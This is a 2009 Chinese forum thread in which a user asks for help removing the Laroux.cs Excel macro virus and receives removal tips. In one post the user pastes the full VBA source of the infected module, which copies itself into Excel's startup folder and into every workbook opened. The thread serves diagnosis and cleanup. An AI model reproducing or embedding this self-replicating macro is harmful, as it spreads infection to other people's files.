EXCEL中了laroux.cs病毒

onthetrip · 发表于 2009-11-3 14:33

症状:(1)双击打开excel.exe后没有工作表,必须新建工作表;(2)使用GET.WORKBOOK(1)宏表函数始终有一个名为results的隐藏工作表;(3)在别的电脑打开我的excel文档卡巴提示有virus.msexcel.laroux.cs病毒(4)工作表的激活事件被指定为CK.FILES
请问应该怎么清除此病毒?

[ 本帖最后由 onthetrip 于 2009-11-3 14:34 编辑 ]

qbliu · 发表于 2009-11-3 17:26

不一定是中毒了，
你可以将excel档案上传上来看看！！

bibisin · 发表于 2009-11-3 21:44

Macro.Excel.Laroux.cs　　病毒别名：
　　处理时间：
　　威胁级别：★
　　中文名称：
　　病毒类型：宏病毒
　　影响系统：
　　病毒行为:
　　1. 将工作表的激活事件指定为“ck_files”。
　　2. 在 Excel 的启动目录下生成“Results.xls”文件并隐藏地打开以便调用其“ck_files”函数。

百度到的,但根治并没有提及,卡巴报告后有无杀毒呢,还是直接扔隔离区了

onthetrip · 发表于 2009-11-4 08:13

原帖由 bibisin 于 2009-11-3 21:44 发表
Macro.Excel.Laroux.cs　　病毒别名：
　　处理时间：
　　威胁级别：★
　　中文名称：
　　病毒类型：宏病毒
　　影响系统：
　　病毒行为:
　　1. 将工作表的激活事件指定为“ck_files”。
　　2. 在 Exc ...

我的电脑上装的是金山（我的excel文档在同事的电脑上被卡巴检测到）,检测不到病毒。怎么扔到隔离区呢？网络上也没有搜索到此病毒的解决方法
我的excel文档

[ 本帖最后由 onthetrip 于 2009-11-4 08:16 编辑 ]

qbliu · 发表于 2009-11-4 09:48

我无法下载你的附件，被杀毒软件隔离了！！
只能给点建议，你试试看是否能行
你应该已经中了此宏病毒
1.先关闭所有excel文档
2.在excel启动目录下将Results.xls删除（可能无法删除）启动目录一般为
C:\Documents and Settings\你的用户名\Application Data\Microsoft\Excel\XLSTART
3.打开工作薄的时候按住shift（防止outo事件发生）--当然如果写在activitie事件里面我们也没辙
4.打开后alt+f11打开VBE编辑器，删除你能看到的所有代码
然后重启excel

onthetrip · 发表于 2009-11-4 11:29

谢谢你!
1、我能找到application data\microsoft\office\data,但找不到你说的excel\xlstart的目录
2、用删除的方法无效，即使按住shift
模块results的代码如下：
Sub auto_open()
Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "RESULTS.XLS")
If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("results").Visible = True
Sheets("results").Select
Sheets("results").Copy
With ActiveWorkbook
      .Title = ""
      .Subject = ""
      .Author = ""
      .Keywords = ""
      .Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
      , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
      False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("results").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "results" Then
      Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
      Workbooks(n4$).Sheets("results").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case Else
End Select
End Sub
请各位帮助解决一下

[ 本帖最后由 onthetrip 于 2009-11-4 11:31 编辑 ]

onthetrip · 发表于 2009-11-5 09:40

各位高手,帮忙看一下啊

onthetrip · 发表于 2009-11-6 15:57

找了很久,终于在找到了,还是在EH论坛里http://club.excelhome.net/viewth ... p;extra=&page=1

		自动登录	找回密码
密码			免费注册

[求助] EXCEL中了laroux.cs病毒

回复 5楼 qbliu 的帖子